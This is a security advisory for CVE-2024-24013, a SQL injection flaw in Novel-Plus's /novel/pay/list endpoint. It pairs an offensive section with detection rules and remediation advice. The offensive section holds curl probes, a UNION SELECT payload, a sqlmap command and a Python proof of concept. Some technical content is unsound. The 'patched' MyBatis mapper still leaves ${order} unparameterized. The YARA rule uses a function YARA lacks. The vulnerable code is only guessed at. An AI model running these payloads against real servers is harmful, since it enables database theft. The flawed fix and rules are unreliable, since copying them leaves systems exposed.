CVE-2024-24013

Executive Summary

CVE-2024-24013 is a critical SQL injection vulnerability in Novel-Plus, a popular open-source novel management platform. The flaw resides in the /novel/pay/list endpoint, where user-supplied offset, limit, and sort parameters are not properly sanitized before being used in SQL queries. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and in some configurations, remote code execution via SQL server features like xp_cmdshell. The vulnerability affects all versions up to and including v4.3.0-RC1. No official patch has been released, making this a high-priority threat for all deployments.

Supply Chain & Package Security

Novel-Plus is a Java-based application typically distributed as a WAR file or via Docker images. The vulnerability is in the application's own code, not in a third-party library. However, the lack of a patch means that organizations must rely on custom mitigations (e.g., WAF rules) or forked versions. The project's dependency on common Java frameworks (Spring Boot, MyBatis) does not introduce additional supply chain risk, but the absence of an official fix creates a window of exposure.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit affects only the vulnerable component.
• Confidentiality (C): High – Full database read access is possible.
• Integrity (I): High – Data can be modified or deleted.
• Availability (A): High – Database can be disrupted or destroyed.

Threat Level: Critical. The combination of network exploitability, no authentication, and high impact makes this a top-priority vulnerability for patching or mitigation.

Deep Dive & Mechanics

The vulnerability exists in the /novel/pay/list endpoint, which is used to list payment records. The application uses MyBatis (a SQL mapping framework) to construct queries. The vulnerable code likely concatenates user input directly into the SQL statement without parameterization.

Vulnerable Code Pattern (Conceptual):

// Vulnerable: Direct concatenation
String sql = "SELECT * FROM pay_records ORDER BY " + sort + " LIMIT " + limit + " OFFSET " + offset;

Exploitation Mechanics:

1. The attacker sends a crafted HTTP GET request to /novel/pay/list with malicious values in the offset, limit, or sort parameters.
2. The application fails to sanitize these inputs, allowing the attacker to break out of the intended SQL syntax.
3. The attacker can then inject arbitrary SQL commands, such as:
   • UNION SELECT to extract data from other tables.
   • OR 1=1 to bypass logic.
   • ; DROP TABLE to destroy data.
   • EXEC xp_cmdshell (if SQL Server is used) to execute OS commands.

Example Payload (Conceptual):

/novel/pay/list?offset=0&limit=10&sort=id; SELECT * FROM users--

Vulnerable vs. Patched Code

Since no official patch exists, the following shows the vulnerable pattern and a recommended fix.

Vulnerable Code (MyBatis Mapper XML):

<select id="listPayRecords" resultType="PayRecord">
    SELECT * FROM pay_records
    ORDER BY ${sort} ${order}
    LIMIT #{limit} OFFSET #{offset}
</select>

Note: ${sort} is a MyBatis substitution that does NOT use parameterization, making it vulnerable.

Patched Code (Recommended):

<select id="listPayRecords" resultType="PayRecord">
    SELECT * FROM pay_records
    ORDER BY
    <choose>
        <when test="sort == 'id'">id</when>
        <when test="sort == 'amount'">amount</when>
        <when test="sort == 'date'">date</when>
        <otherwise>id</otherwise>
    </choose>
    ${order}
    LIMIT #{limit} OFFSET #{offset}
</select>

Note: The sort parameter is now validated against a whitelist. The limit and offset parameters should also be validated as integers.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of Novel-Plus v4.3.0-RC1 or earlier.
• A tool like curl, sqlmap, or a custom Python script.

Step-by-Step Exploitation:

1. Identify the vulnerable endpoint:

   curl -v "http://target:8080/novel/pay/list?offset=0&limit=10&sort=id"
   

2. Test for SQL injection using a simple payload:

   curl "http://target:8080/novel/pay/list?offset=0&limit=10&sort=id'"
   

   If an error is returned (e.g., SQL syntax error), the endpoint is vulnerable.

3. Extract database version (MySQL example):

   curl "http://target:8080/novel/pay/list?offset=0&limit=10&sort=id UNION SELECT 1,@@version,3,4,5--"
   

4. Automated exploitation with sqlmap:

   sqlmap -u "http://target:8080/novel/pay/list?offset=0&limit=10&sort=id" --batch --dbs
   

Proof-of-Concept Script (Python):

import requests

target = "http://target:8080"
payload = "id UNION SELECT 1,2,3,4,5--"
url = f"{target}/novel/pay/list?offset=0&limit=10&sort={payload}"

response = requests.get(url)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /novel/pay/list for unusual characters in offset, limit, and sort parameters (e.g., single quotes, UNION, SELECT, --).
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Mitigation (Temporary):

• Implement a reverse proxy (e.g., Nginx) to validate parameters:

  location /novel/pay/list {
      if ($arg_sort !~ ^(id|amount|date)$) {
          return 403;
      }
      if ($arg_offset !~ ^\d+$) {
          return 403;
      }
      if ($arg_limit !~ ^\d+$) {
          return 403;
      }
      proxy_pass http://backend;
  }
  

• Apply input validation at the application level (see patched code above).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /novel/pay/list containing SQL keywords in parameters:
  • sort=id'
  • offset=0 UNION SELECT
  • limit=10; DROP
• Unusual response times or error messages containing SQL syntax.

File System IOCs:

• Unexpected files in the application directory (e.g., webshells).
• Modified application logs showing SQL errors.

Database IOCs:

• New or modified database users.
• Unusual queries in database logs (e.g., xp_cmdshell usage).
• Data exfiltration patterns (large SELECT results).

Detection Engineering

YARA Rule

rule CVE_2024_24013_SQLi_NovelPlus {
    meta:
        description = "Detects SQL injection attempts targeting Novel-Plus /novel/pay/list"
        author = "Valters IT"
        date = "2024-02-20"
        reference = "CVE-2024-24013"
    strings:
        $sqli1 = /sort=[^&]*['\"]/ nocase
        $sqli2 = /offset=[^&]*['\"]/ nocase
        $sqli3 = /limit=[^&]*['\"]/ nocase
        $sqli4 = /UNION/i
        $sqli5 = /SELECT/i
        $sqli6 = /DROP/i
    condition:
        any of ($sqli*) and (
            contains(http_uri, "/novel/pay/list")
        )
}

Sigma Rule

title: Novel-Plus SQL Injection Attempt
id: cve-2024-24013-sqli
status: experimental
description: Detects SQL injection attempts against Novel-Plus /novel/pay/list endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/novel/pay/list"
    keywords:
        - "sort="
        - "offset="
        - "limit="
    sqli_patterns:
        - "'"
        - "UNION"
        - "SELECT"
        - "DROP"
        - "OR 1=1"
    condition: selection and 1 of sqli_patterns
falsepositives:
    - Legitimate use of special characters in parameters (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-24013 Novel-Plus SQL Injection Attempt";
    flow:to_server,established;
    content:"/novel/pay/list"; http_uri;
    pcre:"/(sort|offset|limit)=[^&]*['\"]/i";
    pcre:"/(UNION|SELECT|DROP|OR\s+1=1)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, take the Novel-Plus application offline or restrict network access.
2. Apply WAF rules: Block requests containing SQL injection patterns to /novel/pay/list.
3. Implement input validation: Use the patched code example provided above to whitelist allowed values for sort, offset, and limit.

Long-Term Fix:

• Upgrade: Monitor the Novel-Plus project for an official patch. If none is released, consider forking the project and applying the fix.
• Code Review: Conduct a security audit of all endpoints that use MyBatis ${} substitutions.
• Use Parameterized Queries: Replace all ${} with #{} in MyBatis mappers, and validate any dynamic column names against a whitelist.

Compromise Assessment:

• Check database logs for unauthorized queries.
• Review web server logs for suspicious requests to /novel/pay/list.
• Scan for webshells or backdoors in the application directory.

Valters IT
Securing Digital Frontiers